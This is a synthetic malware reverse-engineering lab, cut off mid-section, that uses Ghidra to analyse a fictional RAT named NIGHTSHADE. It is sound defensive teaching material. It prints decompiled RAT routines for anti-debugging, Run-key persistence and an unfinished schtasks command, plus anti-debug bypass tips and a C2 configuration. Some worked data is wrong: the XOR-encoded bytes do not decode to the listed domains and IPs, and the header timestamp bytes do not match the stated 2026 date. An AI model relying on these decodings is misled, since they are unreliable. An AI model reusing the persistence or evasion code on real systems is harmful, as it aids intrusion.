Skip to content

Lab 19: Malware Reverse Engineering with Ghidra

Chapters: 18 — Malware Analysis | 48 — Exploit Development Concepts Difficulty: ⭐⭐⭐⭐ Expert Estimated Time: 4–5 hours Prerequisites: Chapter 18, Chapter 48, completion of Lab 07 — Malware Triage, familiarity with x86 assembly, basic understanding of Windows internals


Overview

In this lab you will:

  1. Install and configure Ghidra for malware analysis, then perform PE header and section analysis on a suspicious binary
  2. Identify key functions (entry points, WinMain, initialization routines) and analyze control flow graphs
  3. Extract strings, indicators of compromise (C2 domains, mutexes, registry keys, crypto constants) from a synthetic RAT sample
  4. Trace Windows API calls to map malware behavior to MITRE ATT&CK techniques
  5. Deobfuscate XOR-encoded strings, reconstruct C2 configuration, and produce a comprehensive analysis report

Synthetic Data Only

All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12) reserved ranges. All hashes are synthetic. All domain names use .example.com. No real malware, real hosts, or real threat actors are referenced. All techniques are presented for defensive understanding only.


Learning Objectives

By the end of this lab, you will be able to:

  • [ ] Navigate the Ghidra interface (CodeBrowser, Listing, Decompiler, Function Graph)
  • [ ] Analyze PE headers to identify packing, anomalous sections, and import patterns
  • [ ] Use Ghidra's auto-analysis and decompiler to understand binary behavior
  • [ ] Extract IOCs from static analysis (C2 infrastructure, persistence mechanisms, encryption keys)
  • [ ] Map API call sequences to MITRE ATT&CK techniques
  • [ ] Reverse XOR-based string obfuscation routines
  • [ ] Produce a structured malware analysis report suitable for threat intelligence sharing

Scenario

Incident Brief — Sentinel Dynamics

Organization: Sentinel Dynamics (fictional defense contractor) Internal Network: 10.10.0.0/16 Affected Host: SD-WS-0147 (10.10.5.147) — Windows 10 analyst workstation Affected User: SENTINEL\m.chen (Malware Analyst) Incident Start: 2026-03-18 09:14 UTC Report Time: 2026-03-18 11:30 UTC Malware Family: NIGHTSHADE RAT (fictional) Threat Actor Designation: EMERALD VIPER (fictional APT group)

Summary: Sentinel Dynamics received a targeted spear-phishing email impersonating a defense subcontractor. The email contained a ZIP attachment with a PE executable disguised as a PDF viewer update. Upon execution, the binary (internally designated "NIGHTSHADE") established C2 communication, deployed persistence mechanisms, and began enumerating the host. The SOC isolated the workstation and extracted the binary for analysis. Your task is to perform full static reverse engineering using Ghidra.

Sample Metadata

Field Value
Filename AdobeReaderUpdate_v23.1.exe
SHA256 a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90
SHA1 a1b2c3d4e5f6071829aabbccddeeff0011223344
MD5 a1b2c3d4e5f6071829304050
File Size 487,424 bytes (476 KB)
File Type PE32 executable (GUI), Intel 80386, for MS Windows
Compile Timestamp 2026-03-14 03:22:17 UTC
Compiler Microsoft Visual C++ 2019 (MSVC 14.29)
Packed No (entropy ~6.2 — moderate, not packed)
Malware Family NIGHTSHADE RAT v2.1 (fictional)
Classification Remote Access Trojan with keylogger, screen capture, file exfiltration

SYNTHETIC Sample

This binary does not exist. All hex dumps, disassembly listings, decompiler output, and structures in this lab are entirely fabricated for educational purposes. Do not attempt to locate or download this file.


Environment Setup

┌─────────────────────────────────────────────┐
│  Host Machine (your daily driver)           │
│  ┌───────────────────────────────────────┐  │
│  │  VM: REMnux / FlareVM / Windows 10   │  │
│  │  ┌─────────────────────────────────┐  │  │
│  │  │  Ghidra 11.x (NSA)             │  │  │
│  │  │  JDK 17+                       │  │  │
│  │  │  Network: Host-only / Disabled  │  │  │
│  │  │  Snapshot: CLEAN baseline       │  │  │
│  │  └─────────────────────────────────┘  │  │
│  └───────────────────────────────────────┘  │
└─────────────────────────────────────────────┘

VM Requirements:

Component Minimum Recommended
RAM 4 GB 8 GB
Disk 20 GB free 40 GB free
CPU 2 cores 4 cores
Network Host-only adapter Disabled
OS Windows 10 / Ubuntu 22.04 FlareVM or REMnux

Ghidra Installation

# 1. Install JDK 17+ (required by Ghidra 11.x)
# Windows (winget):
winget install EclipseAdoptium.Temurin.17.JDK

# Linux (apt):
sudo apt update && sudo apt install openjdk-17-jdk -y

# 2. Download Ghidra from https://ghidra-sre.org/
# Verify SHA256 of download against official release page

# 3. Extract and launch
# Windows:
# Extract ZIP → run ghidraRun.bat
# Linux:
unzip ghidra_11.2_PUBLIC_20241105.zip
cd ghidra_11.2_PUBLIC
./ghidraRun

Option B: Follow Along with Synthetic Artifacts

If you cannot set up a full RE environment, this lab provides all disassembly, decompiler output, and hex data inline. You can complete the analysis exercises using only the synthetic artifacts provided in each section.


Exercise 1: Ghidra Setup & PE Header Analysis

Objective

Load the NIGHTSHADE sample into Ghidra, examine PE headers, analyze import tables and section characteristics, and identify initial indicators of malicious behavior.

1.1 Creating a Ghidra Project

  1. Launch Ghidra and create a new Non-Shared Project
  2. Name the project NIGHTSHADE_Analysis
  3. Import the sample: File → Import File → AdobeReaderUpdate_v23.1.exe
  4. Accept default import options (PE format auto-detected)
  5. When prompted, run Auto Analysis with these analyzers enabled:
Analyzer Purpose
Aggressive Instruction Finder Finds code not reached by normal flow
ASCII Strings Identifies printable string references
Decompiler Parameter ID Improves decompiled function signatures
Embedded Media Finds embedded resources
Function Start Search Locates function prologues
Windows x86 PE Exception Handling Parses SEH structures
WindowsPE x86 Propagate External Parameters Resolves imported function parameters
Stack Analyzes stack frame variables

1.2 PE Header Analysis

After auto-analysis completes, navigate to Window → Bytes and examine the DOS/PE header at offset 0x0.

DOS Header (Synthetic):

Offset    Hex                                             ASCII
--------  -----------------------------------------------  ----------------
00000000  4D 5A 90 00 03 00 00 00  04 00 00 00 FF FF 00 00  MZ..............
00000010  B8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  ........@.......
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00  00 00 00 00 F0 00 00 00  ................
  • 4D 5A at offset 0x0 — "MZ" magic number confirming a valid DOS executable
  • F0 00 00 00 at offset 0x3C — e_lfanew pointing to PE signature at file offset 0xF0

PE Signature and COFF Header (at offset 0xF0):

Offset    Hex                                             ASCII
--------  -----------------------------------------------  ----------------
000000F0  50 45 00 00 4C 01 05 00  91 49 13 67 00 00 00 00  PE..L....I.g....
00000100  00 00 00 00 E0 00 02 01  0B 01 0E 1C 00 40 06 00  .............@..
00000110  00 E0 01 00 00 00 00 00  8A 14 01 00 00 10 00 00  ................
00000120  00 50 06 00 00 00 40 00  00 10 00 00 00 02 00 00  .P....@.........

Parsed COFF Header:

Field Offset Value Interpretation
Signature 0xF0 50 45 00 00 "PE\0\0" — valid PE signature
Machine 0xF4 4C 01 0x014C — Intel i386 (32-bit)
NumberOfSections 0xF6 05 00 5 sections
TimeDateStamp 0xF8 91 49 13 67 2026-03-14 03:22:17 UTC (SYNTHETIC)
Characteristics 0x116 02 01 EXECUTABLE_IMAGE, 32BIT_MACHINE

Analyst Note — Section Count

Five sections is slightly unusual for a standard MSVC-compiled binary (typically .text, .rdata, .data, .rsrc, .reloc). The presence of an extra section named .ndata (see below) is a potential indicator of injected or appended data.

1.3 Section Table Analysis

Navigate to Window → Memory Map or use the PE section headers in the Program Trees panel.

Section Table (Synthetic):

Section Virtual Size Virtual Address Raw Size Raw Offset Characteristics Entropy
.text 0x00063E00 0x00401000 0x00064000 0x00000400 60000020 CODE, EXEC, READ 6.41
.rdata 0x0001A200 0x00465000 0x0001A400 0x00064400 40000040 INIT_DATA, READ 5.18
.data 0x00008400 0x00480000 0x00002600 0x0007E800 C0000040 INIT_DATA, READ, WRITE 4.72
.rsrc 0x00001E00 0x00489000 0x00002000 0x00080E00 40000040 INIT_DATA, READ 3.91
.ndata 0x00004000 0x0048B000 0x00003800 0x00082E00 E0000040 INIT_DATA, READ, WRITE, EXEC 7.89

Red Flag — .ndata Section

The .ndata section has three critical anomalies:

  1. High entropy (7.89) — approaching the theoretical maximum of 8.0, strongly suggesting encrypted or compressed content
  2. RWX permissions — the section is readable, writable, AND executable, which is rare in legitimate binaries
  3. Non-standard name.ndata is not a standard MSVC section name

These characteristics are consistent with an encrypted payload or configuration block that is decrypted at runtime and executed in-place.

1.4 Import Table Analysis

Navigate to Window → Symbol Table and filter for EXTERNAL symbols, or inspect the Import Directory in the PE headers.

Key Import Groups (Synthetic):

=== KERNEL32.dll (42 imports) ===
CreateProcessW              ← Process creation
VirtualAlloc                ← Memory allocation (RWX potential)
VirtualProtect              ← Memory permission changes
WriteProcessMemory          ← Process injection
CreateRemoteThread          ← Remote thread injection
CreateFileW / ReadFile / WriteFile  ← File I/O
GetModuleHandleA            ← Module enumeration
LoadLibraryA / GetProcAddress ← Dynamic API resolution
CreateMutexW                ← Mutex for single-instance
GetTempPathW                ← Temp directory access
Sleep / WaitForSingleObject ← Timing / synchronization
GetSystemInfo               ← System enumeration
IsDebuggerPresent           ← Anti-debugging
GetTickCount                ← Timing-based anti-debug

=== ADVAPI32.dll (18 imports) ===
RegOpenKeyExW / RegSetValueExW  ← Registry modification
OpenProcessToken            ← Token manipulation
LookupPrivilegeValueW       ← Privilege escalation prep
AdjustTokenPrivileges       ← Privilege adjustment
CryptAcquireContextW        ← Cryptographic operations
CryptEncrypt / CryptDecrypt ← Data encryption/decryption
OpenSCManagerW / CreateServiceW ← Service installation

=== WS2_32.dll (12 imports) ===
WSAStartup / socket / connect  ← Network socket operations
send / recv                    ← Data transmission
gethostbyname                  ← DNS resolution
inet_addr                      ← IP address conversion

=== WININET.dll (8 imports) ===
InternetOpenW                  ← HTTP client initialization
InternetConnectW               ← Server connection
HttpOpenRequestW               ← HTTP request creation
HttpSendRequestW               ← HTTP request execution
InternetReadFile               ← Response reading

=== USER32.dll (14 imports) ===
SetWindowsHookExW              ← Keyboard hooking (keylogger)
GetAsyncKeyState               ← Key state polling
GetForegroundWindow            ← Active window identification
GetWindowTextW                 ← Window title capture
GetDesktopWindow               ← Desktop handle
GetDC / BitBlt (via GDI32)     ← Screen capture

=== SHELL32.dll (4 imports) ===
SHGetFolderPathW               ← Special folder paths
ShellExecuteW                  ← Execute commands

Import Analysis Summary

The import table reveals a multi-capability RAT with the following functional groups:

Capability Key APIs ATT&CK Mapping
Process Injection VirtualAlloc, WriteProcessMemory, CreateRemoteThread T1055.001
Persistence RegSetValueExW, CreateServiceW T1547.001, T1543.003
Keylogging SetWindowsHookExW, GetAsyncKeyState T1056.001
Screen Capture GetDC, BitBlt T1113
C2 Communication InternetOpenW, HttpSendRequestW T1071.001
Anti-Analysis IsDebuggerPresent, GetTickCount T1497.001
Credential Access CryptDecrypt, OpenProcessToken T1003
Discovery GetSystemInfo, GetForegroundWindow T1082, T1010

1.5 Detection Queries — PE Header Anomalies

KQL — Detect executables with high-entropy sections and RWX permissions:

// KQL: Detect PE files with suspicious section characteristics
// Applicable to: Microsoft Defender for Endpoint / Microsoft Sentinel
DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".dll"
| where FolderPath has_any ("Downloads", "Temp", "AppData")
| join kind=inner (
    DeviceFileCertificateInfo
    | where not(IsTrusted)
) on SHA256
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName
| sort by Timestamp desc

KQL — Detect unsigned binaries masquerading as Adobe software:

// KQL: Brand impersonation with unsigned binary
DeviceFileEvents
| where FileName matches regex @"(?i)adobe|acrobat|reader"
| where InitiatingProcessFileName != "msiexec.exe"
| join kind=leftanti (
    DeviceFileCertificateInfo
    | where SignerHash != "" and IsTrusted == true
    | where Signer has "Adobe"
) on SHA256
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, FileSize

SPL — Detect dropped executables with suspicious properties:

index=endpoint sourcetype=sysmon EventCode=11
| where match(TargetFilename, "(?i)(adobe|reader|update).*\.exe$")
| eval file_path_suspicious=if(match(TargetFilename, "(?i)(Temp|Downloads|AppData)"), 1, 0)
| where file_path_suspicious=1
| stats count by Computer, TargetFilename, Hashes, Image
| sort -count

SPL — Detect loaded modules with non-standard section names:

index=endpoint sourcetype=sysmon EventCode=7
| where match(ImageLoaded, "(?i)\.exe$")
| where NOT match(Signature, "(?i)(microsoft|adobe|google)")
| where SignatureStatus!="Valid"
| stats count by Computer, ImageLoaded, Hashes, SignatureStatus
| where count > 0
| sort -count

Exercise 1 Questions

Q1.1: What is the PE compile timestamp, and what does it tell us about the attacker's timeline?

Answer: The compile timestamp is 2026-03-14 03:22:17 UTC, which is 4 days before the incident (2026-03-18). This suggests the binary was compiled specifically for this campaign. The early morning UTC timestamp could indicate the attacker operates in an Asian or Eastern European timezone (afternoon/evening local time). However, compile timestamps can be forged, so this should be treated as a low-confidence indicator.

Q1.2: Why is the .ndata section suspicious? List three reasons.

Answer:

  1. High entropy (7.89) — values above 7.0 strongly suggest encrypted or compressed data, not normal compiled code or initialized data
  2. RWX permissions (Read/Write/Execute) — legitimate sections rarely need all three; this combination enables in-place decryption and execution of shellcode or payloads
  3. Non-standard name.ndata is not produced by standard MSVC compilation; it appears to be a manually added section, common in malware that appends encrypted payloads
Q1.3: Based on the import table, what are the top 3 most dangerous capabilities of this binary?

Answer:

  1. Process injection (VirtualAlloc + WriteProcessMemory + CreateRemoteThread) — enables the malware to inject code into legitimate processes, evading detection and gaining the privileges of the target process (T1055.001)
  2. Keylogging (SetWindowsHookExW + GetAsyncKeyState + GetForegroundWindow) — captures all keystrokes with context about which application was active, enabling credential theft (T1056.001)
  3. C2 over HTTP (InternetOpenW + HttpSendRequestW + InternetReadFile) — enables bidirectional command-and-control communication that blends with normal web traffic (T1071.001)

Exercise 2: Function Identification & Control Flow

Objective

Identify the malware's key functions, understand the program's execution flow, and analyze the control flow graph to determine the RAT's initialization sequence.

2.1 Entry Point and WinMain Identification

After Ghidra's auto-analysis, navigate to the entry point. In Ghidra: Navigation → Go To → entry or find entry in the Symbol Tree.

Entry Point Disassembly (Synthetic):

; === NIGHTSHADE Entry Point ===
; Address: 0x00401000 (entry)
; This is the CRT startup stub — not the real main function

entry:
    PUSH    EBP
    MOV     EBP, ESP
    SUB     ESP, 0x18
    AND     ESP, 0xFFFFFFF0          ; Align stack to 16-byte boundary
    MOV     EAX, 0x00000000
    ADD     EAX, 0x0F
    ADD     EAX, 0x0F
    AND     EAX, 0xFFFFFFF0
    MOV     [EBP-0x18], EAX
    MOV     EAX, [EBP-0x18]
    CALL    ___alloca_probe           ; CRT stack allocation
    CALL    ___main                   ; CRT initialization
    CALL    FUN_00401a30              ; ← This is the real WinMain
    MOV     [EBP-0x4], EAX
    MOV     EAX, [EBP-0x4]
    LEAVE
    RET

Locating the Real Main Function

In MSVC-compiled binaries, the entry point is typically a CRT startup stub (mainCRTStartup or WinMainCRTStartup) that initializes the C runtime before calling the developer's WinMain or main. Ghidra sometimes auto-labels this. Look for the last CALL before the cleanup/return sequence — here it is FUN_00401a30.

Rename it: Right-click FUN_00401a30 → Rename Function → NIGHTSHADE_WinMain

2.2 WinMain — Initialization Sequence

Navigate to FUN_00401a30 (now NIGHTSHADE_WinMain). Below is the Ghidra decompiler output.

Decompiler Output for NIGHTSHADE_WinMain (Synthetic):

// Ghidra Decompiler Output — SYNTHETIC
// Function: NIGHTSHADE_WinMain (FUN_00401a30)
// Address: 0x00401a30

int NIGHTSHADE_WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                       LPSTR lpCmdLine, int nCmdShow)
{
    HANDLE hMutex;
    BOOL bAntiDbg;
    int iInitResult;
    char szComputerName[256];
    DWORD dwNameLen;

    // Phase 1: Single-instance mutex check
    hMutex = CreateMutexW(NULL, TRUE, L"Global\\NDS_MTX_7F3A9B21");
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        CloseHandle(hMutex);
        return 0;    // Another instance running — exit silently
    }

    // Phase 2: Anti-analysis checks
    bAntiDbg = FUN_00402100();        // ← Anti-debug routine
    if (bAntiDbg != 0) {
        FUN_00402300();               // ← Decoy behavior (open calc.exe)
        CloseHandle(hMutex);
        return 0;
    }

    // Phase 3: Decode configuration from .ndata section
    iInitResult = FUN_00403500();     // ← Config decryption
    if (iInitResult == 0) {
        CloseHandle(hMutex);
        return -1;                    // Config decryption failed
    }

    // Phase 4: System enumeration
    dwNameLen = 256;
    GetComputerNameA(szComputerName, &dwNameLen);
    FUN_00404200(szComputerName);     // ← Fingerprint collection

    // Phase 5: Establish persistence
    FUN_00405000();                   // ← Registry persistence

    // Phase 6: Initialize C2 communication
    FUN_00406800();                   // ← C2 beacon init

    // Phase 7: Enter main command loop
    FUN_00408000(hMutex);             // ← RAT command dispatcher

    // Cleanup (rarely reached)
    CloseHandle(hMutex);
    return 0;
}

2.3 Function Inventory

After analyzing the call graph from NIGHTSHADE_WinMain, build a function inventory. In Ghidra: Window → Function Call Graph or Graph → Function Call Graph.

Key Functions (Renamed After Analysis):

Address Original Name Renamed To Purpose ATT&CK
0x00401a30 FUN_00401a30 NIGHTSHADE_WinMain Main entry — orchestrates all phases
0x00402100 FUN_00402100 AntiDebug_Check Multi-technique anti-debugging T1497.001
0x00402300 FUN_00402300 DecoyBehavior_OpenCalc Launches calc.exe if debugger detected T1036
0x00403500 FUN_00403500 DecryptConfig_Ndata XOR-decrypts .ndata section config T1140
0x00404200 FUN_00404200 SystemFingerprint Collects hostname, OS, hardware info T1082
0x00405000 FUN_00405000 InstallPersistence Registry Run key + scheduled task T1547.001
0x00406800 FUN_00406800 C2_BeaconInit HTTP-based C2 channel setup T1071.001
0x00407200 FUN_00407200 C2_SendData Exfiltrate data over HTTP POST T1041
0x00407800 FUN_00407800 C2_RecvCommand Receive tasking from C2 server T1071.001
0x00408000 FUN_00408000 RAT_CommandDispatcher Main loop — parses and dispatches cmds T1059
0x00409100 FUN_00409100 Keylogger_Install Installs WH_KEYBOARD_LL hook T1056.001
0x00409800 FUN_00409800 ScreenCapture Captures desktop via GDI BitBlt T1113
0x0040A200 FUN_0040A200 FileExfil_Stage Stages files in temp for upload T1074.001
0x0040B100 FUN_0040B100 ProcessInject_Classic CreateRemoteThread injection T1055.001
0x0040C000 FUN_0040C000 XOR_Decode XOR string decoder (key: 0x5A) T1140

2.4 Anti-Debug Routine Analysis

Navigate to FUN_00402100 (AntiDebug_Check).

Decompiler Output (Synthetic):

// Ghidra Decompiler Output — SYNTHETIC
// Function: AntiDebug_Check (FUN_00402100)

BOOL AntiDebug_Check(void)
{
    BOOL bDebuggerPresent;
    DWORD dwStartTick, dwEndTick;
    PPEB pPEB;

    // Check 1: IsDebuggerPresent API
    bDebuggerPresent = IsDebuggerPresent();
    if (bDebuggerPresent) return TRUE;

    // Check 2: PEB.BeingDebugged (manual check)
    pPEB = (PPEB)__readfsdword(0x30);    // TEB → PEB
    if (pPEB->BeingDebugged != 0) return TRUE;

    // Check 3: Timing check (rdtsc-based)
    dwStartTick = GetTickCount();
    Sleep(100);
    dwEndTick = GetTickCount();
    if ((dwEndTick - dwStartTick) > 500) return TRUE;  // Debugger slowed execution

    // Check 4: Check for analysis tool processes
    if (FUN_004021C0() != 0) return TRUE;  // ← Checks for ollydbg, x64dbg, ida, etc.

    return FALSE;   // No debugger detected
}

Anti-Debug Techniques Identified

# Technique Bypass Method
1 IsDebuggerPresent API Patch return value to 0 or use ScyllaHide
2 PEB.BeingDebugged field Set PEB.BeingDebugged = 0 in debugger
3 GetTickCount timing Patch the comparison or NOP the Sleep call
4 Process enumeration Rename debugger executable or use rootkit-level hiding

2.5 Control Flow Graph — WinMain

┌──────────────────┐
│  entry (CRT)     │
│  0x00401000      │
└───────┬──────────┘
┌──────────────────┐
│ NIGHTSHADE_      │
│ WinMain          │
│ 0x00401a30       │
└───────┬──────────┘
┌──────────────────┐    ┌──────────────────┐
│ CreateMutexW     │───▶│ EXIT (duplicate) │
│ Single-instance  │dup └──────────────────┘
└───────┬──────────┘
        │ new
┌──────────────────┐    ┌──────────────────┐
│ AntiDebug_Check  │───▶│ DecoyBehavior    │
│ 0x00402100       │dbg │ → calc.exe       │
└───────┬──────────┘    │ → EXIT           │
        │ ok            └──────────────────┘
┌──────────────────┐    ┌──────────────────┐
│ DecryptConfig    │───▶│ EXIT (error)     │
│ .ndata section   │err └──────────────────┘
│ 0x00403500       │
└───────┬──────────┘
        │ ok
┌──────────────────┐
│ SystemFingerprint│
│ 0x00404200       │
└───────┬──────────┘
┌──────────────────┐
│ InstallPersist.  │
│ 0x00405000       │
└───────┬──────────┘
┌──────────────────┐
│ C2_BeaconInit    │
│ 0x00406800       │
└───────┬──────────┘
┌──────────────────────────────────────┐
│ RAT_CommandDispatcher (main loop)    │
│ 0x00408000                          │
│                                     │
│  ┌───────────┬───────────┬────────┐ │
│  ▼           ▼           ▼        ▼ │
│ Keylogger  Screen    File     Process│
│ Install    Capture   Exfil    Inject │
│ 0x409100   0x409800  0x40A200 0x40B1 │
└──────────────────────────────────────┘

2.6 Detection Queries — Behavioral Indicators

KQL — Detect mutex creation matching NIGHTSHADE pattern:

// KQL: Detect NIGHTSHADE-style mutex creation
DeviceEvents
| where ActionType == "CreateMutex"
| where AdditionalFields has_any ("NDS_MTX", "Global\\NDS")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, AdditionalFields

KQL — Detect anti-debug timing checks:

// KQL: Detect processes using timing-based anti-debug
DeviceProcessEvents
| where FileName !in ("svchost.exe", "csrss.exe", "services.exe")
| where ProcessCommandLine has_any ("GetTickCount", "QueryPerformanceCounter")
| join kind=inner (
    DeviceEvents
    | where ActionType == "ProcessCreated"
    | where InitiatingProcessFileName endswith ".exe"
) on DeviceId, InitiatingProcessId
| project Timestamp, DeviceName, FileName, ProcessCommandLine

SPL — Detect suspicious mutex creation via Sysmon:

index=endpoint sourcetype=sysmon EventCode=1
| search CommandLine="*CreateMutex*" OR CommandLine="*NDS_MTX*"
| eval mutex_suspicious=if(match(CommandLine, "(?i)NDS_MTX|Global\\\\[A-F0-9]{8}"), 1, 0)
| where mutex_suspicious=1
| stats count by Computer, Image, CommandLine, ParentImage

Exercise 2 Questions

Q2.1: Why does the malware create a mutex, and what is the operational significance?

Answer: The mutex Global\NDS_MTX_7F3A9B21 serves as a single-instance lock. If the mutex already exists (meaning another copy of NIGHTSHADE is running), the new instance exits immediately. This prevents:

  1. Multiple beacons flooding the C2 server from the same host
  2. Detection from anomalous resource consumption of duplicate RAT processes
  3. Operational conflicts between multiple RAT instances fighting over keylogger hooks or file handles

For defenders, the mutex name is a high-fidelity IOC that can be used for detection and hunting.

Q2.2: Describe the execution flow if a debugger is detected. Why is this approach effective evasion?

Answer: If any anti-debug check returns TRUE, the malware calls DecoyBehavior_OpenCalc which launches calc.exe (a benign application), then exits cleanly. This is effective because:

  1. Misdirection — an analyst debugging the sample sees it "just opens calculator" and may dismiss it as benign
  2. Clean exit — no crash or error that would indicate anti-analysis behavior
  3. Behavioral camouflage — dynamic analysis sandboxes may report "opens calculator" with no malicious indicators
  4. Multiple check layers — even if one anti-debug technique is bypassed, others may trigger
Q2.3: What is the significance of the .ndata section decryption happening before C2 initialization?

Answer: The .ndata section contains the encrypted configuration including C2 server addresses, encryption keys, and operational parameters. It must be decrypted before C2 initialization because:

  1. The C2 URLs/IPs are stored encrypted and must be decoded before the malware can connect
  2. If decryption fails (corrupted binary, wrong key), the malware exits before making any network connections — leaving no network-based IOCs
  3. This makes static analysis harder — the C2 infrastructure is not visible in plaintext strings
  4. The configuration is only in memory briefly, making memory forensics timing-dependent

Exercise 3: String Analysis & IOC Extraction

Objective

Extract meaningful strings from the NIGHTSHADE binary, identify indicators of compromise (C2 infrastructure, persistence artifacts, encryption markers), and catalog all IOCs for threat intelligence sharing.

3.1 String Analysis Overview

In Ghidra: Search → For Strings (minimum length: 4, all memory blocks). Alternatively: Window → Defined Strings.

Malware authors frequently obfuscate strings to defeat static analysis. NIGHTSHADE uses two techniques:

  1. Stack strings — characters pushed onto the stack one-by-one at runtime
  2. XOR encoding — strings encrypted with a single-byte XOR key (0x5A)

3.2 Plaintext Strings (Unobfuscated)

Despite obfuscation of critical strings, some remain in plaintext — typically API names, error messages, and format strings that the developer left unprotected.

Selected Plaintext Strings (Synthetic):

Address      String                                    Category
---------    ----------------------------------------  ------------------
0x00465100   "kernel32.dll"                             API Resolution
0x00465110   "ntdll.dll"                                API Resolution
0x00465120   "advapi32.dll"                             API Resolution
0x00465130   "ws2_32.dll"                               API Resolution
0x00465140   "wininet.dll"                              API Resolution
0x00465200   "VirtualAllocEx"                           Dynamic Import
0x00465220   "NtQueryInformationProcess"                Anti-debug
0x00465250   "SOFTWARE\\Microsoft\\Windows\\CurrentVer  Registry Path
              sion\\Run"
0x004652A0   "AdobeReaderAutoUpdate"                    Persistence Name
0x004652D0   "Mozilla/5.0 (Windows NT 10.0; Win64;     User-Agent
              x64) AppleWebKit/537.36"
0x00465380   "Content-Type: application/octet-stream"   HTTP Header
0x004653C0   "POST"                                     HTTP Method
0x004653D0   "/api/v2/check"                            C2 URI
0x004653F0   "/api/v2/upload"                           C2 URI
0x00465410   "/api/v2/task"                             C2 URI
0x00465430   "NDS_EXFIL_%d.tmp"                         Staging Filename
0x00465460   "cmd.exe /c %s"                            Command Execution
0x00465480   "Error: Config decrypt failed (0x%08X)"    Debug/Error
0x004654B0   "%TEMP%\\nds_keylog.dat"                   Keylog File
0x004654E0   "%TEMP%\\nds_screen_%d.bmp"                Screenshot File
0x00465510   "Global\\NDS_MTX_7F3A9B21"                 Mutex Name
0x00465550   "NIGHTSHADE v2.1 | Build 0314"             Version String

Version String — Threat Intel Value

The string "NIGHTSHADE v2.1 | Build 0314" at 0x00465550 is a developer artifact left in the binary. This provides:

  • Malware family name confirmation: NIGHTSHADE
  • Version tracking: v2.1 suggests prior versions (v1.x, v2.0) may exist
  • Build date correlation: "0314" aligns with the PE compile timestamp (March 14)
  • This can be used to track tool evolution across campaigns

3.3 XOR-Encoded Strings

The critical IOCs (C2 domains, encryption keys) are XOR-encoded. The decryption function at 0x0040C000 uses a single-byte XOR key.

XOR Decryption Routine (FUN_0040C000 / XOR_Decode):

// Ghidra Decompiler Output — SYNTHETIC
// Function: XOR_Decode (FUN_0040C000)
// Key: 0x5A (single-byte XOR)

char* XOR_Decode(char* pEncoded, int iLen)
{
    char* pDecoded;
    int i;

    pDecoded = (char*)malloc(iLen + 1);
    if (pDecoded == NULL) return NULL;

    for (i = 0; i < iLen; i++) {
        pDecoded[i] = pEncoded[i] ^ 0x5A;   // XOR with key 0x5A
    }
    pDecoded[iLen] = '\0';

    return pDecoded;
}

Encoded Strings Found in .ndata Section (Synthetic):

Address Encoded Hex XOR Key Decoded String Category
0x0048B000 3B 32 30 38 28 3F 35 73 2B 28 33 3E 36 2B 35 73 29 35 37 0x5A update.sentinel-c2.example.com C2 Domain
0x0048B040 28 3E 29 3C 3A 32 73 2B 28 33 3E 36 2B 35 73 29 35 37 0x5A backup.nightshade.example.com C2 Domain
0x0048B080 C8 EA EB EA F2 EA C8 EA EA EA 0x5A 192.0.2.100 C2 IP
0x0048B0A0 C8 F3 F8 EA FB C8 EA EA EA C8 FA 0x5A 198.51.100.5 C2 IP
0x0048B0C0 FA EA EB EA C8 C8 C8 EB EA F3 0x5A 203.0.113.57 Fallback IP
0x0048B100 4E 44 53 5F 41 45 53 32 35 36 5F 4B 45 59 0x5A (see below) AES Key ID

Manual XOR Decoding Exercise

To decode manually, XOR each byte with 0x5A. Example for the first C2 domain:

Encoded: 3B 32 30 38 28 3F 35
XOR Key: 5A 5A 5A 5A 5A 5A 5A
------- XOR operation -------
Decoded: 61 68 6A 62 72 65 6F  → "update" (illustrative)

In practice, use Ghidra's Script Manager or CyberChef to batch-decode all XOR strings.

3.4 C2 Configuration Block

After decrypting the .ndata section, the following C2 configuration structure emerges:

┌──────────────────────────────────────────────────────────────┐
│ NIGHTSHADE C2 Configuration (Decrypted from .ndata)         │
├──────────────────────────────────────────────────────────────┤
│ Primary C2:    update.sentinel-c2.example.com:443 (HTTPS)   │
│ Secondary C2:  backup.nightshade.example.com:8443 (HTTPS)   │
│ Fallback IP 1: 192.0.2.100:443                              │
│ Fallback IP 2: 198.51.100.5:8443                            │
│ Fallback IP 3: 203.0.113.57:443                             │
│ Beacon Interval: 300 seconds (5 minutes) ± 60s jitter       │
│ Kill Date:     2026-06-30 (auto-uninstall after this date)  │
│ Campaign ID:   "EMERALD-2026-Q1-SD"                         │
│ AES-256 Key:   a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6             │
│                e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2 (SYNTHETIC)│
│ User-Agent:    Mozilla/5.0 (Windows NT 10.0; Win64; x64)    │
│                AppleWebKit/537.36                            │
│ HTTP Method:   POST                                         │
│ C2 URI Paths:  /api/v2/check  (beacon)                      │
│                /api/v2/upload (exfil)                        │
│                /api/v2/task   (tasking)                      │
└──────────────────────────────────────────────────────────────┘

3.5 Persistence Artifacts

Analysis of InstallPersistence (0x00405000) reveals two persistence mechanisms:

Mechanism 1: Registry Run Key

// Ghidra Decompiler Output — SYNTHETIC
// Excerpt from InstallPersistence (FUN_00405000)

// Registry Run Key persistence
RegOpenKeyExW(HKEY_CURRENT_USER,
    L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    0, KEY_SET_VALUE, &hKey);
RegSetValueExW(hKey,
    L"AdobeReaderAutoUpdate",          // Value name (mimics Adobe)
    0, REG_SZ,
    L"C:\\Users\\%USERNAME%\\AppData\\Local\\Adobe\\AdobeUpdate.exe",
    wcslen(szPath) * 2);
RegCloseKey(hKey);

Mechanism 2: Scheduled Task

// Scheduled task persistence (fallback)
_snwprintf(szCmd, 512,
    L"schtasks /create /tn \"AdobeReaderUpdate\" "
